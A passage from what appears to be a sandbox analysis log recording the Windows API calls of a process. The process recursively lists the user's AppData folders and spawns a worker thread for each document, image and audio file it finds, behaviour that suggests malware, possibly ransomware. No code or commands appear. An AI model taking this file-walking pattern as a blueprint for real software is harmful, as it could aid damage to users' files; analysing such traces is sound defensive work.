_Source="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local" | out: _Dest="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local") returned="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local" [0047.918] wcscat (in: _Dest=0x420ee8, _Source="\\" | out: _Dest="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\") returned="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\" [0047.918] wcscat (in: _Dest=0x420ee8, _Source="Temp" | out: _Dest="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Temp") returned="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Temp" [0047.918] RtlFreeHeap (HeapHandle=0x3f0000, Flags=0x0, BaseAddress=0x420ee8) returned 1 [0047.918] FindNextFileW (in: hFindFile=0x4407a0, lpFindFileData=0x486cc0 | out: lpFindFileData=0x486cc0*(dwFileAttributes=0x2416, ftCreationTime.dwLowDateTime=0x29175f80, ftCreationTime.dwHighDateTime=0x1d2dd9c, ftLastAccessTime.dwLowDateTime=0x29175f80, ftLastAccessTime.dwHighDateTime=0x1d2dd9c, ftLastWriteTime.dwLowDateTime=0x29175f80, ftLastWriteTime.dwHighDateTime=0x1d2dd9c, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="Temporary Internet Files", cAlternateFileName="TEMPOR~1")) returned 1 [0047.918] wcscmp (_String1="Temporary Internet Files", _String2=".") returned 1 [0047.918] wcscmp (_String1="Temporary Internet Files", _String2="..") returned 1 [0047.918] RtlAllocateHeap (HeapHandle=0x3f0000, Flags=0x8, Size=0x8a) returned 0x446480 [0047.918] wcscpy (in: _Dest=0x446480, _Source="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local" | out: _Dest="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local") returned="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local" [0047.918] wcscat (in: _Dest=0x446480, _Source="\\" | out: _Dest="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\") returned="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\" [0047.918] wcscat (in: _Dest=0x446480, _Source="Temporary Internet Files" | out: _Dest="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Temporary Internet Files") returned="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Temporary Internet Files" [0047.918] RtlFreeHeap (HeapHandle=0x3f0000, Flags=0x0, BaseAddress=0x446480) returned 1 [0047.918] FindNextFileW (in: hFindFile=0x4407a0, lpFindFileData=0x486cc0 | out: lpFindFileData=0x486cc0*(dwFileAttributes=0x2010, ftCreationTime.dwLowDateTime=0x2ab32d60, ftCreationTime.dwHighDateTime=0x1d2dd9c, ftLastAccessTime.dwLowDateTime=0x2ab32d60, ftLastAccessTime.dwHighDateTime=0x1d2dd9c, ftLastWriteTime.dwLowDateTime=0x2ab32d60, ftLastWriteTime.dwHighDateTime=0x1d2dd9c, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="VirtualStore", cAlternateFileName="VIRTUA~1")) returned 1 [0047.918] wcscmp (_String1="VirtualStore", _String2=".") returned 1 [0047.918] wcscmp (_String1="VirtualStore", _String2="..") returned 1 [0047.918] RtlAllocateHeap (HeapHandle=0x3f0000, Flags=0x8, Size=0x72) returned 0x400d18 [0047.919] wcscpy (in: _Dest=0x400d18, _Source="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local" | out: _Dest="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local") returned="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local" [0047.919] wcscat (in: _Dest=0x400d18, _Source="\\" | out: _Dest="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\") returned="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\" [0047.919] wcscat (in: _Dest=0x400d18, _Source="VirtualStore" | out: _Dest="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\VirtualStore") returned="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\VirtualStore" [0047.919] CreateThread (in: lpThreadAttributes=0x0, dwStackSize=0x0, lpStartAddress=0x82170, lpParameter=0x400d18, dwCreationFlags=0x0, lpThreadId=0x0 | out: lpThreadId=0x0) returned 0x710 [0047.920] FindNextFileW (in: hFindFile=0x4407a0, lpFindFileData=0x486cc0 | out: lpFindFileData=0x486cc0*(dwFileAttributes=0x2010, ftCreationTime.dwLowDateTime=0x2ab32d60, ftCreationTime.dwHighDateTime=0x1d2dd9c, ftLastAccessTime.dwLowDateTime=0x2ab32d60, ftLastAccessTime.dwHighDateTime=0x1d2dd9c, ftLastWriteTime.dwLowDateTime=0x2ab32d60, ftLastWriteTime.dwHighDateTime=0x1d2dd9c, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="VirtualStore", cAlternateFileName="VIRTUA~1")) returned 0 [0047.920] FindClose (in: hFindFile=0x4407a0 | out: hFindFile=0x4407a0) returned 1 [0047.920] RtlFreeHeap (HeapHandle=0x3f0000, Flags=0x0, BaseAddress=0x486cc0) returned 1 [0047.920] RtlFreeHeap (HeapHandle=0x3f0000, Flags=0x0, BaseAddress=0x48d048) returned 1 [0047.920] RtlFreeHeap (HeapHandle=0x3f0000, Flags=0x0, BaseAddress=0x44a5b0) returned 1 Thread: id = 269 os_tid = 0x9c0 [0046.900] RtlAllocateHeap (HeapHandle=0x3f0000, Flags=0x8, Size=0x62) returned 0x421508 [0046.900] wcscpy (in: _Dest=0x421508, _Source="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\LocalLow" | out: _Dest="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\LocalLow") returned="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\LocalLow" [0046.900] wcscat (in: _Dest=0x421508, _Source="\\" | out: _Dest="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\LocalLow\\") returned="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\LocalLow\\" [0046.900] wcscat (in: _Dest=0x421508, _Source="*" | out: _Dest="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\LocalLow\\*") returned="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\LocalLow\\*" [0046.900] RtlAllocateHeap (HeapHandle=0x3f0000, Flags=0x8, Size=0x250) returned 0x486f28 [0046.900] FindFirstFileW (in: lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\LocalLow\\*", lpFindFileData=0x486f28 | out: lpFindFileData=0x486f28*(dwFileAttributes=0x2010, ftCreationTime.dwLowDateTime=0x28cff640, ftCreationTime.dwHighDateTime=0x1d2dd9c, ftLastAccessTime.dwLowDateTime=0x68cb4a40, ftLastAccessTime.dwHighDateTime=0x1d2e627, ftLastWriteTime.dwLowDateTime=0x68cb4a40, ftLastWriteTime.dwHighDateTime=0x1d2e627, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x4407e0 [0046.900] wcscmp (_String1=".", _String2=".") returned 0 [0046.900] FindNextFileW (in: hFindFile=0x4407e0, lpFindFileData=0x486f28 | out: lpFindFileData=0x486f28*(dwFileAttributes=0x2010, ftCreationTime.dwLowDateTime=0x28cff640, ftCreationTime.dwHighDateTime=0x1d2dd9c, ftLastAccessTime.dwLowDateTime=0x68cb4a40, ftLastAccessTime.dwHighDateTime=0x1d2e627, ftLastWriteTime.dwLowDateTime=0x68cb4a40, ftLastWriteTime.dwHighDateTime=0x1d2e627, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0046.900] wcscmp (_String1="..", _String2=".") returned 1 [0046.900] wcscmp (_String1="..", _String2="..") returned 0 [0046.900] FindNextFileW (in: hFindFile=0x4407e0, lpFindFileData=0x486f28 | out: lpFindFileData=0x486f28*(dwFileAttributes=0x2010, ftCreationTime.dwLowDateTime=0xcd6e27e0, ftCreationTime.dwHighDateTime=0x1d2dda0, ftLastAccessTime.dwLowDateTime=0xcd708940, ftLastAccessTime.dwHighDateTime=0x1d2dda0, ftLastWriteTime.dwLowDateTime=0xcd708940, ftLastWriteTime.dwHighDateTime=0x1d2dda0, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="Adobe", cAlternateFileName="")) returned 1 [0046.900] wcscmp (_String1="Adobe", _String2=".") returned 1 [0046.901] wcscmp (_String1="Adobe", _String2="..") returned 1 [0046.901] RtlAllocateHeap (HeapHandle=0x3f0000, Flags=0x8, Size=0x6a) returned 0x419310 [0046.901] wcscpy (in: _Dest=0x419310, _Source="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\LocalLow" | out: _Dest="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\LocalLow") returned="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\LocalLow" [0046.901] wcscat (in: _Dest=0x419310, _Source="\\" | out: _Dest="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\LocalLow\\") returned="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\LocalLow\\" [0046.901] wcscat (in: _Dest=0x419310, _Source="Adobe" | out: _Dest="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\LocalLow\\Adobe") returned="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\LocalLow\\Adobe" [0048.905] CreateThread (in: lpThreadAttributes=0x0, dwStackSize=0x0, lpStartAddress=0x82170, lpParameter=0x419310, dwCreationFlags=0x0, lpThreadId=0x0 | out: lpThreadId=0x0) returned 0x568 [0048.906] FindNextFileW (in: hFindFile=0x4407e0, lpFindFileData=0x486f28 | out: lpFindFileData=0x486f28*(dwFileAttributes=0x2014, ftCreationTime.dwLowDateTime=0x28cff640, ftCreationTime.dwHighDateTime=0x1d2dd9c, ftLastAccessTime.dwLowDateTime=0xcd708940, ftLastAccessTime.dwHighDateTime=0x1d2dda0, ftLastWriteTime.dwLowDateTime=0xcd708940, ftLastWriteTime.dwHighDateTime=0x1d2dda0, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="Microsoft", cAlternateFileName="MICROS~1")) returned 1 [0048.906] wcscmp (_String1="Microsoft", _String2=".") returned 1 [0048.906] wcscmp (_String1="Microsoft", _String2="..") returned 1 [0048.906] RtlAllocateHeap (HeapHandle=0x3f0000, Flags=0x8, Size=0x72) returned 0x3ffe18 [0048.906] wcscpy (in: _Dest=0x3ffe18, _Source="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\LocalLow" | out: _Dest="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\LocalLow") returned="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\LocalLow" [0048.906] wcscat (in: _Dest=0x3ffe18, _Source="\\" | out: _Dest="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\LocalLow\\") returned="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\LocalLow\\" [0048.906] wcscat (in: _Dest=0x3ffe18, _Source="Microsoft" | out: _Dest="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\LocalLow\\Microsoft") returned="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\LocalLow\\Microsoft" [0048.906] RtlFreeHeap (HeapHandle=0x3f0000, Flags=0x0, BaseAddress=0x3ffe18) returned 1 [0048.906] FindNextFileW (in: hFindFile=0x4407e0, lpFindFileData=0x486f28 | out: lpFindFileData=0x486f28*(dwFileAttributes=0x2010, ftCreationTime.dwLowDateTime=0x68cb4a40, ftCreationTime.dwHighDateTime=0x1d2e627, ftLastAccessTime.dwLowDateTime=0x68cb4a40, ftLastAccessTime.dwHighDateTime=0x1d2e627, ftLastWriteTime.dwLowDateTime=0x68cb4a40, ftLastWriteTime.dwHighDateTime=0x1d2e627, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="Sun", cAlternateFileName="")) returned 1 [0048.906] wcscmp (_String1="Sun", _String2=".") returned 1 [0048.906] wcscmp (_String1="Sun", _String2="..") returned 1 [0048.906] RtlAllocateHeap (HeapHandle=0x3f0000, Flags=0x8, Size=0x66) returned 0x420e08 [0048.906] wcscpy (in: _Dest=0x420e08, _Source="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\LocalLow" | out: _Dest="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\LocalLow") returned="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\LocalLow" [0048.906] wcscat (in: _Dest=0x420e08, _Source="\\" | out: _Dest="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\LocalLow\\") returned="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\LocalLow\\" [0048.906] wcscat (in: _Dest=0x420e08, _Source="Sun" | out: _Dest="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\LocalLow\\Sun") returned="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\LocalLow\\Sun" [0048.906] CreateThread (in: lpThreadAttributes=0x0, dwStackSize=0x0, lpStartAddress=0x82170, lpParameter=0x420e08, dwCreationFlags=0x0, lpThreadId=0x0 | out: lpThreadId=0x0) returned 0x780 [0048.907] FindNextFileW (in: hFindFile=0x4407e0, lpFindFileData=0x486f28 | out: lpFindFileData=0x486f28*(dwFileAttributes=0x2010, ftCreationTime.dwLowDateTime=0x68cb4a40, ftCreationTime.dwHighDateTime=0x1d2e627, ftLastAccessTime.dwLowDateTime=0x68cb4a40, ftLastAccessTime.dwHighDateTime=0x1d2e627, ftLastWriteTime.dwLowDateTime=0x68cb4a40, ftLastWriteTime.dwHighDateTime=0x1d2e627, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="Sun", cAlternateFileName="")) returned 0 [0048.907] FindClose (in: hFindFile=0x4407e0 | out: hFindFile=0x4407e0) returned 1 [0048.907] RtlFreeHeap (HeapHandle=0x3f0000, Flags=0x0, BaseAddress=0x486f28) returned 1 [0048.907] RtlFreeHeap (HeapHandle=0x3f0000, Flags=0x0, BaseAddress=0x421508) returned 1 [0048.907] RtlFreeHeap (HeapHandle=0x3f0000, Flags=0x0, BaseAddress=0x445de0) returned 1 Thread: id = 270 os_tid = 0x9c4 [0046.901] RtlAllocateHeap (HeapHandle=0x3f0000, Flags=0x8, Size=0x60) returned 0x48d0b0 [0046.901] wcscpy (in: _Dest=0x48d0b0, _Source="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Roaming" | out: _Dest="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Roaming") returned="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Roaming" [0046.901] wcscat (in: _Dest=0x48d0b0, _Source="\\" | out: _Dest="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Roaming\\") returned="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Roaming\\" [0046.901] wcscat (in: _Dest=0x48d0b0, _Source="*" | out: _Dest="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Roaming\\*") returned="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Roaming\\*" [0046.901] RtlAllocateHeap (HeapHandle=0x3f0000, Flags=0x8, Size=0x250) returned 0x487190 [0046.901] FindFirstFileW (in: lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Roaming\\*", lpFindFileData=0x487190 | out: lpFindFileData=0x487190*(dwFileAttributes=0x2010, ftCreationTime.dwLowDateTime=0x28cff640, ftCreationTime.dwHighDateTime=0x1d2dd9c, ftLastAccessTime.dwLowDateTime=0x87b76f00, ftLastAccessTime.dwHighDateTime=0x1d5945e, ftLastWriteTime.dwLowDateTime=0x87b76f00, ftLastWriteTime.dwHighDateTime=0x1d5945e, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x440820 [0046.901] wcscmp (_String1=".", _String2=".") returned 0 [0046.901] FindNextFileW (in: hFindFile=0x440820, lpFindFileData=0x487190 | out: lpFindFileData=0x487190*(dwFileAttributes=0x2010, ftCreationTime.dwLowDateTime=0x28cff640, ftCreationTime.dwHighDateTime=0x1d2dd9c, ftLastAccessTime.dwLowDateTime=0x87b76f00, ftLastAccessTime.dwHighDateTime=0x1d5945e, ftLastWriteTime.dwLowDateTime=0x87b76f00, ftLastWriteTime.dwHighDateTime=0x1d5945e, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0046.901] wcscmp (_String1="..", _String2=".") returned 1 [0046.901] wcscmp (_String1="..", _String2="..") returned 0 [0046.902] FindNextFileW (in: hFindFile=0x440820, lpFindFileData=0x487190 | out: lpFindFileData=0x487190*(dwFileAttributes=0x2020, ftCreationTime.dwLowDateTime=0xcfd39d10, ftCreationTime.dwHighDateTime=0x1d4d4b8, ftLastAccessTime.dwLowDateTime=0xd9211c10, ftLastAccessTime.dwHighDateTime=0x1d4c858, ftLastWriteTime.dwLowDateTime=0xd9211c10, ftLastWriteTime.dwHighDateTime=0x1d4c858, nFileSizeHigh=0x0, nFileSizeLow=0x8212, dwReserved0=0x0, dwReserved1=0x0, cFileName="1Ge3vB9wK.m4a", cAlternateFileName="1GE3VB~1.M4A")) returned 1 [0046.902] wcscmp (_String1="1Ge3vB9wK.m4a", _String2=".") returned 1 [0046.902] wcscmp (_String1="1Ge3vB9wK.m4a", _String2="..") returned 1 [0046.902] RtlAllocateHeap (HeapHandle=0x3f0000, Flags=0x8, Size=0x78) returned 0x400818 [0046.902] wcscpy (in: _Dest=0x400818, _Source="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Roaming" | out: _Dest="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Roaming") returned="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Roaming" [0046.902] wcscat (in: _Dest=0x400818, _Source="\\" | out: _Dest="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Roaming\\") returned="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Roaming\\" [0046.902] wcscat (in: _Dest=0x400818, _Source="1Ge3vB9wK.m4a" | out: _Dest="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Roaming\\1Ge3vB9wK.m4a") returned="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Roaming\\1Ge3vB9wK.m4a" [0048.721] CreateThread (in: lpThreadAttributes=0x0, dwStackSize=0x0, lpStartAddress=0x794a0, lpParameter=0x400818, dwCreationFlags=0x0, lpThreadId=0x0 | out: lpThreadId=0x0) returned 0x574 [0048.722] FindNextFileW (in: hFindFile=0x440820, lpFindFileData=0x487190 | out: lpFindFileData=0x487190*(dwFileAttributes=0x2020, ftCreationTime.dwLowDateTime=0x462675e0, ftCreationTime.dwHighDateTime=0x1d4cc2c, ftLastAccessTime.dwLowDateTime=0xdddcb2d0, ftLastAccessTime.dwHighDateTime=0x1d4cb8e, ftLastWriteTime.dwLowDateTime=0xdddcb2d0, ftLastWriteTime.dwHighDateTime=0x1d4cb8e, nFileSizeHigh=0x0, nFileSizeLow=0xb18, dwReserved0=0x0, dwReserved1=0x0, cFileName="51OqUo.wav", cAlternateFileName="")) returned 1 [0048.722] wcscmp (_String1="51OqUo.wav", _String2=".") returned 1 [0048.722] wcscmp (_String1="51OqUo.wav", _String2="..") returned 1 [0048.722] RtlAllocateHeap (HeapHandle=0x3f0000, Flags=0x8, Size=0x72) returned 0x400998 [0048.722] wcscpy (in: _Dest=0x400998, _Source="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Roaming" | out: _Dest="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Roaming") returned="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Roaming" [0048.722] wcscat (in: _Dest=0x400998, _Source="\\" | out: _Dest="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Roaming\\") returned="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Roaming\\" [0048.722] wcscat (in: _Dest=0x400998, _Source="51OqUo.wav" | out: _Dest="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Roaming\\51OqUo.wav") returned="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Roaming\\51OqUo.wav" [0048.722] CreateThread (in: lpThreadAttributes=0x0, dwStackSize=0x0, lpStartAddress=0x794a0, lpParameter=0x400998, dwCreationFlags=0x0, lpThreadId=0x0 | out: lpThreadId=0x0) returned 0x2dc [0048.723] FindNextFileW (in: hFindFile=0x440820, lpFindFileData=0x487190 | out: lpFindFileData=0x487190*(dwFileAttributes=0x2020, ftCreationTime.dwLowDateTime=0x5e5944d0, ftCreationTime.dwHighDateTime=0x1d4c740, ftLastAccessTime.dwLowDateTime=0x9af84c20, ftLastAccessTime.dwHighDateTime=0x1d4c974, ftLastWriteTime.dwLowDateTime=0x9af84c20, ftLastWriteTime.dwHighDateTime=0x1d4c974, nFileSizeHigh=0x0, nFileSizeLow=0x10cb2, dwReserved0=0x0, dwReserved1=0x0, cFileName="6bdJuKQA.jpg", cAlternateFileName="")) returned 1 [0048.723] wcscmp (_String1="6bdJuKQA.jpg", _String2=".") returned 1 [0048.723] wcscmp (_String1="6bdJuKQA.jpg", _String2="..") returned 1 [0048.723] RtlAllocateHeap (HeapHandle=0x3f0000, Flags=0x8, Size=0x76) returned 0x400918 [0048.724] wcscpy (in: _Dest=0x400918, _Source="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Roaming" | out: _Dest="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Roaming") returned="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Roaming" [0048.724] wcscat (in: _Dest=0x400918, _Source="\\" | out: _Dest="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Roaming\\") returned="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Roaming\\" [0048.724] wcscat (in: _Dest=0x400918, _Source="6bdJuKQA.jpg" | out: _Dest="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Roaming\\6bdJuKQA.jpg") returned="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Roaming\\6bdJuKQA.jpg" [0048.724] CreateThread (in: lpThreadAttributes=0x0, dwStackSize=0x0, lpStartAddress=0x794a0, lpParameter=0x400918, dwCreationFlags=0x0, lpThreadId=0x0 | out: lpThreadId=0x0) returned 0x2d4 [0048.725] FindNextFileW (in: hFindFile=0x440820, lpFindFileData=0x487190 | out: lpFindFileData=0x487190*(dwFileAttributes=0x2020, ftCreationTime.dwLowDateTime=0x214fac80, ftCreationTime.dwHighDateTime=0x1d4d40d, ftLastAccessTime.dwLowDateTime=0x79122e40, ftLastAccessTime.dwHighDateTime=0x1d4c83a, ftLastWriteTime.dwLowDateTime=0x79122e40, ftLastWriteTime.dwHighDateTime=0x1d4c83a, nFileSizeHigh=0x0, nFileSizeLow=0x35bb, dwReserved0=0x0, dwReserved1=0x0, cFileName="6MQ2JXPUL.bmp", cAlternateFileName="6MQ2JX~1.BMP")) returned 1 [0048.725] wcscmp (_String1="6MQ2JXPUL.bmp", _String2=".") returned 1 [0048.725] wcscmp (_String1="6MQ2JXPUL.bmp", _String2="..") returned 1 [0048.725] RtlAllocateHeap (HeapHandle=0x3f0000, Flags=0x8, Size=0x78) returned 0x400898 [0048.725] wcscpy (in: _Dest=0x400898, _Source="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Roaming" | out: _Dest="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Roaming") returned="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Roaming" [0048.725] wcscat (in: _Dest=0x400898, _Source="\\" | out: _Dest="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Roaming\\") returned="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Roaming\\" [0048.725] wcscat (in: _Dest=0x400898, _Source="6MQ2JXPUL.bmp" | out: _Dest="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Roaming\\6MQ2JXPUL.bmp") returned="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Roaming\\6MQ2JXPUL.bmp" [0048.725] CreateThread (in: lpThreadAttributes=0x0, dwStackSize=0x0, lpStartAddress=0x794a0, lpParameter=0x400898, dwCreationFlags=0x0, lpThreadId=0x0 | out: lpThreadId=0x0) returned 0x2cc [0048.726] FindNextFileW (in: hFindFile=0x440820, lpFindFileData=0x487190 | out: lpFindFileData=0x487190*(dwFileAttributes=0x2010, ftCreationTime.dwLowDateTime=0xcd708940, ftCreationTime.dwHighDateTime=0x1d2dda0, ftLastAccessTime.dwLowDateTime=0xcd72eaa0, ftLastAccessTime.dwHighDateTime=0x1d2dda0, ftLastWriteTime.dwLowDateTime=0xcd72eaa0, ftLastWriteTime.dwHighDateTime=0x1d2dda0, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="Adobe", cAlternateFileName="")) returned 1 [0048.726] wcscmp (_String1="Adobe", _String2=".") returned 1 [0048.726] wcscmp (_String1="Adobe", _String2="..") returned 1 [0048.726] RtlAllocateHeap (HeapHandle=0x3f0000, Flags=0x8, Size=0x68) returned 0x420d28 [0048.726] wcscpy (in: _Dest=0x420d28, _Source="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Roaming" | out: _Dest="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Roaming") returned="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Roaming" [0048.726] wcscat (in: _Dest=0x420d28, _Source="\\" | out: _Dest="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Roaming\\") returned="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Roaming\\" [0048.726] wcscat (in: _Dest=0x420d28, _Source="Adobe" | out: _Dest="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Roaming\\Adobe") returned="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Roaming\\Adobe" [0048.726] CreateThread (in: lpThreadAttributes=0x0, dwStackSize=0x0, lpStartAddress=0x82170, lpParameter=0x420d28, dwCreationFlags=0x0, lpThreadId=0x0 | out: lpThreadId=0x0) returned 0x2c8 [0048.728] FindNextFileW (in: hFindFile=0x440820, lpFindFileData=0x487190 | out: lpFindFileData=0x487190*(dwFileAttributes=0x2020, ftCreationTime.dwLowDateTime=0xcaa4cdd0, ftCreationTime.dwHighDateTime=0x1d4c6dc, ftLastAccessTime.dwLowDateTime=0x14c4eb0, ftLastAccessTime.dwHighDateTime=0x1d4c5a9, ftLastWriteTime.dwLowDateTime=0x14c4eb0, ftLastWriteTime.dwHighDateTime=0x1d4c5a9, nFileSizeHigh=0x0, nFileSizeLow=0x16ddd, dwReserved0=0x0, dwReserved1=0x0, cFileName="ALMFHTkLvjeZ.doc", cAlternateFileName="ALMFHT~1.DOC")) returned 1 [0048.728] wcscmp (_String1="ALMFHTkLvjeZ.doc", _String2=".") returned 1 [0048.728] wcscmp (_String1="ALMFHTkLvjeZ.doc", _String2="..") returned 1 [0048.728] RtlAllocateHeap (HeapHandle=0x3f0000, Flags=0x8, Size=0x7e) returned 0x446770 [0048.728] wcscpy (in: _Dest=0x446770, _Source="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Roaming" | out: _Dest="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Roaming") returned="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Roaming" [0048.728] wcscat (in: _Dest=0x446770, _Source="\\" | out: _Dest="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Roaming\\") returned="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Roaming\\" [0048.728] wcscat (in: _Dest=0x446770, _Source="ALMFHTkLvjeZ.doc" | out: _Dest="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Roaming\\ALMFHTkLvjeZ.doc") returned="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Roaming\\ALMFHTkLvjeZ.doc" [0048.728] CreateThread (in: lpThreadAttributes=0x0, dwStackSize=0x0, lpStartAddress=0x794a0, lpParameter=0x446770, dwCreationFlags=0x0, lpThreadId=0x0 | out: lpThreadId=0x0) returned 0x2c4 [0048.729] FindNextFileW (in: hFindFile=0x440820, lpFindFileData=0x487190 | out: lpFindFileData=0x487190*(dwFileAttributes=0x2020, ftCreationTime.dwLowDateTime=0x91d736c0, ftCreationTime.dwHighDateTime=0x1d4cb80, ftLastAccessTime.dwLowDateTime=0x4623a520, ftLastAccessTime.dwHighDateTime=0x1d4c5e9, ftLastWriteTime.dwLowDateTime=0x4623a520, ftLastWriteTime.dwHighDateTime=0x1d4c5e9, nFileSizeHigh=0x0, nFileSizeLow=0x13144, dwReserved0=0x0, dwReserved1=0x0, 